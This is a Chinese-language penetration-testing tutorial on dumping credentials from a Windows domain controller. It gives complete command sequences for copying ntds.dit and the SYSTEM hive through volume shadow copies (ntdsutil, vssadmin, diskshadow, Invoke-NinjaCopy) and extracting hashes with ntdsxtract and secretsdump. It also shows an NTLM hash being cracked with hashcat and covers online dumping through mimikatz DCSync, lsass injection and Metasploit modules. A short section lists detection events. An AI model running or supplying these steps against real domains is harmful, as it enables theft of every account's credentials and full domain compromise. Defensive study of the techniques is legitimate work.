域控安全之ntds.dit导出
在通常的情况下,即使我们拥有域管理员的权限也是无法读取域控制器的C:\Windows\NTDS\ntds.dit文件,是因为活动目录始终访问着这个文件,所以禁止读取.使用windows的本地卷影拷贝就可以获得文件的副本
什么是卷影拷贝:卷影拷贝服务(Volume Shadow Copy Service,VSS)是Microsoft在Windows XP中开始引入的服务,但到了Windows Server 2003作为一个备份服务器功能独立出来,它能让用户在没有IT专业人员协助的情况下,更轻松地恢复丢失的文件。
Ntds.dit
什么是ntds.dit
在活动目录中,所有的数据都保存在ntds.dit中,ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds\ntds.dit。ntds.dit中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。而在非域环境也就是在工作组环境中,用户的密码等信息存储在SAM文件,想要破解SAM文件与Ntds.dit文件都需要拥有一个System文件。它和sam一样,是被Windows操作系统锁定的
如何利用:
在一般的情况下,系统的运维人员会利用卷影拷贝服务实验这些操作. VSS本质上属于快照技术的一种,主要用于备份和恢复(即使目标处于锁定的状态)
位置
ntds.dit文件位置: `C:\Windows\NTDS\NTDS.dit`
system文件位置:`C:\Windows\System32\config\SYSTEM`
sam文件位置:`C:\Windows\System32\config\SAM`
ntds.dit一般存储域用户的信息,sam是本机的,然后system里面存放了密钥,如果sam,ntds.dit要破解就需要system
提取ntds.dit
通过ntdsutil.exe 提取 ntds.dit
ntdsutil.exe是一个位活动目录(AD)提供管理机制的命令行工具。该工具默认安装在了域控制器上面,可以在域控制器上面直接操作,也可以通过域内机器在域控制器上远程操作.
支持的系统:windows server 2003 ,windows server 2008, windows server 2012。
1.创建一个快照
ntdsutil snapshot "activate instance ntds" create quit quit
该快照包含Windows中的所有文件,且在复制时不会受到Windows锁定机制的影响,需要管理员权限去执行
可以看到这边创建了一个GUID{06a1b343-93f9-4c1b-a613-d02c23f99759}
2.加载快照
ntdsutil snapshot "mount {06a1b343-93f9-4c1b-a613-d02c23f99759}" quit quit //这个后面的就是刚创建的ID
可以看到快照已经加载到了
路径: C:\$SNAP_202110151711_VOLUMEC$\
查看一下
确实存在了
3.拷贝快照
copy C:\$SNAP_202110151711_VOLUMEC$\windows\ntds\ntds.dit c:\windows\temp\ntds.dit
4.卸载删除快照
ntdsutil snapshot "unmount {06a1b343-93f9-4c1b-a613-d02c23f99759}" "delete {06a1b343-93f9-4c1b-a613-d02c23f99759}" quit quit
ntdsutil snapshot "mount <ID>" "delete <ID>" quit quit
5.查看一下快照
ntdsutil snapshot "List All" quit quit
使用 ntdsutil 的 IFM卷影拷贝提取Ntds.dit文件
通过上一个命令执行来实现创建快照,加载,拷贝,最后提去出来ntds.dit 同时也可以通过创建一个IFM,在使用ntdsutil创建IFM时,需要进行生成快照、加载、将{% label info@ntds.dit 和计算机的SAM文件复制到目标文件夹中等 %}操作
1.执行创建IFM
在域控制器中执行如下命令即可(需要域管理员权限,没有的会让其弹出UAC):
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
然后就会在c盘下的/test/Active Directory 会出现ntds.dit
同时test/registry也会出现system security文件
2.移动ntds.dit文件
copy "c:\test\Active Directory\ntds.dit" c:\
Copy-VSS.ps1
或者可以导入nishang中的Copy-VSS.ps1
Import-Module .\Copy-VSS.ps1
Copy-VSS
或者指定目录
Copy-VSS -DestinationDir C:\
这个脚本直接就在当前目录生成了。
PowerSploit中的Invoke-NinjaCopy脚本
复制一些系统无法复制的文件,如sam文件( 管理员权限 )
命令使用
Invoke-NinjaCopy -Path <需要复制的文件> -LocalDestination <复制文件保存位置>
现在尝试复制出来ntds.dit ,system文件
Import-Module .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\ntds.dit"
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:\system.hive"
这种方法没有调用Volume Shadow Copy服务,所以不会产生日志文件7036(卷影拷贝服务进入运行状态的标志)。
通过vssadmin提取ntds.dit
vssadminn是Windows Server 2008及 Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序( writers )和提供程序( providers ),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等
操作vssadmin需要域管理员权限了
1.创建一个C盘的卷影拷贝
vssadmin create shadow /for=c:
2.将创建的卷影拷贝中的ntds.dit复制出来到c盘
copy 卷影副本卷名\windows\ntds\ntds.dit c:\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\windows\ntds\ntds.dit c:\ntds.dit
3.删除卷影
vssadmin delete shadows /for=c: /quiet
拓展访问快照中的文件
访问快照中的文件
vssadmin list shadows //查看快照
当我们无法直接访问\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5中的文件
可通过创建符号链接访问快照中的文件:
mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\
删除符号链接:
rd c:\testvsc
利用思路:
如果当前系统存在快照文件,可对系统的历史文件进行访问。
通过vssown.vbs脚本
vssown.vbs脚本的功能和vssadmin类似。vssown.vbs脚本是由Tim Tomes 开发的,可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务。
脚本下载:https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs
需要域管理员权限操作
1.启动卷影拷贝服务
cscript vssown.vbs /start
cscript命令专用于执行要在命令行环境中运行的脚本
2.创建一个C盘的卷影拷贝
cscript vssown.vbs /create c
执行命令列出当前已经创建的卷影拷贝:
cscript vssown.vbs /list
主要关注ID和Device object,这是把ntds.dit复制出来和删除的关键
ID:{DF222F60-F8F3-459E-ABF9-399519FAD8B4}
存储位置:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5
3.在创建的卷影拷贝中将ntds.dit复制到C盘中
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\NTDS\ntds.dit C:\ntds.dit
4.得到Ntds.dit的副本之后,将刚刚创建的卷影拷贝删除
cscript vssown.vbs /delete {DF222F60-F8F3-459E-ABF9-399519FAD8B4}
使用diskshadow导出ntds.dit
diskshadow.exe这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。在默认配置下,diskshadow.exe使用了一种交互式命令解释器,Windows Server 2008、Windows Server 2012和 Windows Server 2016都默认包含diskshadow,所以,diskshadow 也可以用来操作卷影拷贝服务并导出ntds.dit,diskshadow的功能与vshadow类似,且同样位于C:\windows\system32\ 目录下。
diskshadow有交互和非交互两种模式。在使用交互模式时,需要登录远程桌面的图形化管理界面。不论是交互模式还是非交互模式,都可以使用exec调取一个脚本文件来执行相关命令,还可以使用 diskshadow.exe 来执行计算器。
diskshadow.exe 来执行计算器
1、通过echo创建文件
echo exec c:\windows\system32\calc.exe > c:\users\liukaifeng01\Desktop\cmd.txt
把执行计算机的命令写进去
2.使用diskshadow.exe执行创建的文件
diskshadow.exe /s c:\command.txt
diskshadow.exe 导出ntds.dit
将一下命令复制到一个txt文件里面
#设置卷影拷贝
set context persistent nowriters
#添加卷
add volume c: alias someAlias
#创建快照
create
#分配虚拟磁盘盘符
expose %someAlias% k:
#复制ntds.dit到C:\ntds.dit
exec "cmd.exe" /c copy k:\windows\ntds\ntds.dit c:\ntds.dit
#删除所有快照
delete shadows all
#列出系统中的卷影拷贝
list shadows all
#重置
reset
#退出
exit
diskshadow.exe 导出ntds.dit的时候最好把路径选择在system32去执行,不然会报错
监控卷影拷贝服务的使用情况
通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。
监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
监控 System Event ID 7036(卷影拷贝服务进行运行状态的标志)的可疑事例,以及创建 vssvc.exe 进程的事件。
监控创建 diskshadow.exe 及相关子进程的事件。
监控客户端设备中的 diskshadow.exe 实例创建事件。除非业务需要,在Windows操作系统中不应该出现 diskshadow.exe。如果发现,应立刻将其删除。
通过日志监控新出现的逻辑驱动器映射事件。
调用Volume Shadow Copy(卷影拷贝)服务会产生日志文件,位于System下,Event ID为7036
注意在执行ntdsutil的时候事件日志会产生Event ID为98的日志文件
ntdsutil snapshot "activate instance ntds" create quit quit
导出SYSTEM文件
在我们前面导出ntds.dit之后我们还需要导出system的文件,将system.hive转储,因为system.hive中存放着ntds.dit的密钥。
在前面的方法中已经有了copy-vss还有PowerSploit中的Invoke-NinjaCopy的方法
1.通过注册表的方式导出
reg save hklm\system c:\system.hive
2.copy-VSS
详细见上面
3.invoke-ninjacopy
详细见上面
导出ntds.dit的散列值
取出了ntds.dit,但是不去导出散列值那么获取了也是没有意义。
Esedbexport
1.利用Esedbexport恢复ntds.dit并导出用户表信息
利用这个工具的目的就是从目标系统中导出ntds.dit放到本地中去解析
首先下载链接:https://github.com/libyal/libesedb/releases/tag/20210424
apt-get install autoconf automake autopoint libtool pkg-config //安装依赖环境
剩下的都是编译下载安装
wget https://github.com/libyal/libesedb/releases/tag/20210424/libesedb-experimental-20210424.tar.gz
cd libesedb-experimental-20210424
./configure
make && make install && ldconfig
安装成功后就会在以下目录看到存在
然后我们进入存档ntds.dit的目录,使用esedbexport进行恢复操作
esedbexport -m tables ntds.dit
如果提取成功的话,会在当前目录下生成一个ntds.dit.export文件夹。
只需要其中的datatable.3和link_table.5即可
2.导出域散列值
这边利用的是ntdsxtract工具去导出,该工具不仅能够提取与用户对象、组对象、计算机对象相关的信息,同时还能从NTDS.dit文件中删除对象。
git clone https://github.com/csababarta/ntdsxtract.git
继续输入如下命令,安装ntdsxtract。
python setup.py build && python setup.py install
将导出的datatable.3、link_table.5这两个表和之前获得的SYSTEM文件一并放入ntdsxtract的文件夹中
输入如下命令。
dsusers.py <datatable> <link_table> <output_dir> --syshive <systemhive> --passwordhashes <format options> // 命令格式
python dsusers.py datatable.3 link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee result.txt //注意大小写,我复制进去的SYSTEM是大写的
或者导出csv格式也可以,还具有一个“dscomputers.py”工具可以从分离出来的表中提取域中计算机信息
python dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile result.csv
当然有了散列值之后那么获取密码就可以通过破解去,常见mimikatz获取明文密码,ophcrack在线破解,hashcat等
就拿ntlm hash来举例子去破解
liukaifeng01:afffeba176210fad4628f0524bfe1942 //这是刚才导出的hash值
打开hashcat
hashcat -m 1000 afffeba176210fad4628f0524bfe1942 3.txt --force //-m 就是ntlm hash的破解参数
成功破解出来
secretsdump
1.使用Impacket中的secretsdump
secretsdump.py有一个本地选项,可以解析Ntds.dit文件并从Ntds.dit中提取哈希散列值和域信息。在此之前,我们必须获取到Ntds.dit和SYSTEM这两个文件。如果条件满足,你可以执行以下命令:
python2 secretsdump.py -system system -ntds ntds.dit LOCAL
首先下载impacket工具包
git clone https://github.com/SecureAuthCorp/impacket.git
然后安装
python setup.py install
开始提取
也可以直接通过用户名和散列值进行验证,从远程域控制器中读取ntds.dit并转储域散列值,命令如下。
python2 secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942 -just-dc god.org/liukaifeng01r@x.x.x.x
在线提取Ntds.dit中的哈希
1.利用dcsync获取域散列值
DCSync是Mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,其能够利用卷影拷贝服务直接读取ndts.dit并导出域内所有用户的哈希值。需要管理员权限.
打开mimikatz(管理员权限)
lsadump::dcsync /domain:god.org /all /csv
当然也可以指定用户
lsadump::dcsync /domain:god.org /user:ligang
或者直接对lsass的进程导出
privilege::debug lsadump::lsa /inject
2.使用powershell的DCSync脚本导出
下载地址:https://gist.github.com/monoxgas/9d238accd969550136db
该脚本通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能,并利用dcsync直接读取ntds.dit得到域用户密码散列值。
Import-Module .\Invoke-DCSync.ps1 Invoke-DCSync -DumpForest | ft -wrap -autosize // 导出域内所有用户的hash Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize // 导出域内administrator账户的hash
3.使用 Metasploit 获取域散列值*
前提已经获取到了一个会话
post/windows/gather/ntds_location 该模块可查看路径ntds post/windows/gather/smart_hashdump 在线导出域账户hash 建议2012及以上使用auxiliary/admin/smb/psexec_ntdsgrab 利用域管账户,导出ntds必要文件到本地 post/windows/gather/ntds_grabber 利用powershell将ntds必要文件下载到本地后导出
拿到会话之后
1.查看ntds安装路径
run windows/gather/ntds_location
2.通过smart_hashdump查看域内散列值
run windows/gather/smart_hashdump
3.利用powershell下载ntds.dit
use post/windows/gather/ntds_grabber set session 3 run
/root/.msf4/loot/20211018135814_default_192.168.100.130_CabinetFile_222548.cab
上面这个是生成的路径,复制出来查看
cp /root/.msf4/loot/20211018135814_default_192.168.100.130_CabinetFile_222548.cab /tmp
打开就能看到了
使用这个模块这可以获取到
use auxiliary/admin/smb/psexec_ntdsgrab
因为我复现失败,没找到具体原因就不放截图。
使用vsshadow.exe 和 QuarkPwDump.exe 导出域账号和散列值
在正常的域环境中,ntds.dit文件里包含大量的信息,体积较大,不方便保存到本地。如果域控制器上没有安装杀毒软件,攻击者就能直接进入域控制器,导出ntds.dit并获得域账号和域散列值,而不需要将ntds.dit保存到本地。
下载地址:https://github.com/redcanari/quarkspwdump/releases/download/0.3a/QuarksPwDump-0.3a.zip
vshadow.exe
现在官方不提供 vshadow.exe 的直接下载了,可以安装官方 JDK,在安装目录下可以找到 vshadow.exe,这里要注意操作系统的版本,特别是 xp 和 server 2003。 下载链接: https://www.msxfaq.de/tools/mswin/vshadow.htm
其实对这个SDK很有疑惑,说安装Microsoft .NET Framework 就有SDK,然后再命令行执行也没有结果,网上找了半天也发现下载的地址,于是去公众号搜索,真就有大佬写了这个过程(https://mp.weixin.qq.com/s/ABPg8NFugBqleO6v6k9LSA)
把这三个放在一个文件夹下面
创建ShadowCopy.bat
setlocal if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK set SOURCE_DRIVE_LETTER=%SystemDrive% set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit set DESTINATION_PATH=%~dp0 @echo ...Determine the scripts to be executed/generated... set CALLBACK_SCRIPT=%~dpnx0 set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd echo mkdir C:\Temp > GeneratedVarsTempScript.cmd @echo ...Creating the shadow copy... "%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER% del /f %TEMP_GENERATED_SCRIPT% @goto :EOF :IS_CALLBACK setlocal @echo ...Obtaining the shadow copy device name... call %TEMP_GENERATED_SCRIPT% @echo ...Copying from the shadow copy to the destination path... copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%
当我运行脚本的时候出现这个问题,是因为权限不够
以管理员权限运行
换一个脚本,可以读取ntds.dit和system.hive
setlocal if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK set SOURCE_DRIVE_LETTER=%SystemDrive% set SOURCE_RELATIVE_PATH=windows\ntds\ntds.dit set DESTINATION_PATH=%~dp0 @echo ...Determine the scripts to be executed/generated... set CALLBACK_SCRIPT=%~dpnx0 set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd @echo ...Creating the shadow copy... "%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER% del /f %TEMP_GENERATED_SCRIPT% @goto :EOF :IS_CALLBACK setlocal @echo ...Obtaining the shadow copy device name... call %TEMP_GENERATED_SCRIPT% @echo ...Copying from the shadow copy to the destination path... copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH% reg save hklm\system system.hive
运行如下命令修复复制出来的数据库。
esentutl /p /o ntds.dit
最后再导出来
QuarksPwDump.exe -dhd -sf system.hive -nt ntds.dit -o log.txt
参考链接:
https://xie1997.blog.csdn.net/article/details/104227572
https://www.freebuf.com/articles/network/251267.html
https://mp.weixin.qq.com/s/EWruvHJ8p54UUWTdbCzefA